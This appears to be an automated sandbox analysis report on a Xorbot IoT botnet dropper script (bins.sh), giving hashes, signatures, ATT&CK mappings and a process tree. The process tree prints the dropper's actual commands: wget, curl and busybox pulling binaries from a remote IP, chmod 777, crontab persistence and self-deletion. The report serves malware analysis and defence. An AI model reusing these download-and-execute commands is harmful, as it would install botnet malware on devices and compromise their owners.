xorbot | 0b37b97e32a3032e02c29a27664c6efe62d1de8f7f1763c28cd807929ff3cfb0

Analysis

max time kernel
132s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-02-2025 00:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

5ef1697b55b08f75a606cb8353e1078d
SHA1

24eeb534d2e23810e6e1c746982dac5ad86d2caa
SHA256

0b37b97e32a3032e02c29a27664c6efe62d1de8f7f1763c28cd807929ff3cfb0
SHA512

6e337c002372db0005d3b5d3a5d6aa289f43e5730e27d3ecbc66d6dd251b8fc894c95af358cea2550dc4a5cb8af74b18a96adb98cdc746b99b136f06ee898f3a
SSDEEP

192:aL0g7OOdCaxtqDDL/qvD/glcwq00UqUqUpUAUsXrbalJWewrbalJmyUqUqUpUAUK:aL0g7OOdCaxtqDDL/ql0prbalJWewrbv

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1983) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1481	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	1482	bins.sh

Renames itself 1 IoCs

pid	Process
1483	bins.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.8yLk1v	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1650/cmdline	bins.sh
File opened for reading	/proc/1656/cmdline	bins.sh
File opened for reading	/proc/338/cmdline	bins.sh
File opened for reading	/proc/1046/cmdline	bins.sh
File opened for reading	/proc/1498/cmdline	bins.sh
File opened for reading	/proc/1666/cmdline	bins.sh
File opened for reading	/proc/1706/cmdline	bins.sh
File opened for reading	/proc/1170/cmdline	bins.sh
File opened for reading	/proc/1569/cmdline	bins.sh
File opened for reading	/proc/1604/cmdline	bins.sh
File opened for reading	/proc/198/cmdline	bins.sh
File opened for reading	/proc/1464/cmdline	bins.sh
File opened for reading	/proc/1552/cmdline	bins.sh
File opened for reading	/proc/1568/cmdline	bins.sh
File opened for reading	/proc/1712/cmdline	bins.sh
File opened for reading	/proc/1112/cmdline	bins.sh
File opened for reading	/proc/1491/cmdline	bins.sh
File opened for reading	/proc/1548/cmdline	bins.sh
File opened for reading	/proc/481/cmdline	bins.sh
File opened for reading	/proc/1533/cmdline	bins.sh
File opened for reading	/proc/1634/cmdline	bins.sh
File opened for reading	/proc/1703/cmdline	bins.sh
File opened for reading	/proc/1506/cmdline	bins.sh
File opened for reading	/proc/1339/cmdline	bins.sh
File opened for reading	/proc/1549/cmdline	bins.sh
File opened for reading	/proc/1702/cmdline	bins.sh
File opened for reading	/proc/12/cmdline	bins.sh
File opened for reading	/proc/1052/cmdline	bins.sh
File opened for reading	/proc/1134/cmdline	bins.sh
File opened for reading	/proc/1148/cmdline	bins.sh
File opened for reading	/proc/1550/cmdline	bins.sh
File opened for reading	/proc/1551/cmdline	bins.sh
File opened for reading	/proc/1565/cmdline	bins.sh
File opened for reading	/proc/1691/cmdline	bins.sh
File opened for reading	/proc/89/cmdline	bins.sh
File opened for reading	/proc/501/cmdline	bins.sh
File opened for reading	/proc/1509/cmdline	bins.sh
File opened for reading	/proc/1529/cmdline	bins.sh
File opened for reading	/proc/1581/cmdline	bins.sh
File opened for reading	/proc/1598/cmdline	bins.sh
File opened for reading	/proc/1285/cmdline	bins.sh
File opened for reading	/proc/1311/cmdline	bins.sh
File opened for reading	/proc/1540/cmdline	bins.sh
File opened for reading	/proc/1574/cmdline	bins.sh
File opened for reading	/proc/1707/cmdline	bins.sh
File opened for reading	/proc/592/cmdline	bins.sh
File opened for reading	/proc/1528/cmdline	bins.sh
File opened for reading	/proc/1586/cmdline	bins.sh
File opened for reading	/proc/1587/cmdline	bins.sh
File opened for reading	/proc/159/cmdline	bins.sh
File opened for reading	/proc/160/cmdline	bins.sh
File opened for reading	/proc/1154/cmdline	bins.sh
File opened for reading	/proc/1467/cmdline	bins.sh
File opened for reading	/proc/1507/cmdline	bins.sh
File opened for reading	/proc/1519/cmdline	bins.sh
File opened for reading	/proc/1572/cmdline	bins.sh
File opened for reading	/proc/1635/cmdline	bins.sh
File opened for reading	/proc/410/cmdline	bins.sh
File opened for reading	/proc/446/cmdline	bins.sh
File opened for reading	/proc/640/cmdline	bins.sh
File opened for reading	/proc/690/cmdline	bins.sh
File opened for reading	/proc/955/cmdline	bins.sh
File opened for reading	/proc/1195/cmdline	bins.sh
File opened for reading	/proc/1278/cmdline	bins.sh

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	wget
File opened for modification	/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	curl
File opened for modification	/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	busybox
File opened for modification	/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1464
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1465
- /usr/bin/wget
  wget http://37.44.238.88/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - Writes file to tmp directory
  PID:1466
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - Writes file to tmp directory
  PID:1479
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/chmod
  chmod 777 AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - File and Directory Permissions Modification
  PID:1481
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1485
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1487
- /bin/rm
  rm AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  PID:1490
- /usr/bin/wget
  wget http://37.44.238.88/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  PID:1493
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  - Writes file to tmp directory
  PID:1494

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O

Filesize
84KB

MD5
a83e2aa02c0d52bb31ab3748314ac27d

SHA1
e16021338df9c55a4941ec0c8232d4982dd6473b

SHA256
774f5e069b21a2f0010c55478caf6fed79cee281157f6936308275d7307cc051

SHA512
84e244375b9779e23024539202eae0e29d554a675d5bf5cb65e00dbdc147f2accf688761347536e79d18ba410645677b1430b637ebd762458a3306c53cb6b022

Download Submit
/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.8yLk1v

Filesize
210B

MD5
de8f4f6d6535805826e470390579f9ef

SHA1
a6d600c87f7647de2896fd7ba073defa5223d745

SHA256
d825d8f4db35865bfba7e2833503f2bc530944fe65553f5f69c934d4358eaeb5

SHA512
c2a1e4e525334446939f02ec39e70d9205d0a5bb8875e9a6824c4f20c5e41141a199a92a824cf69d9a49ea2a1cb6960c9a67039457fb407a0db4b54fc0718e3b

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads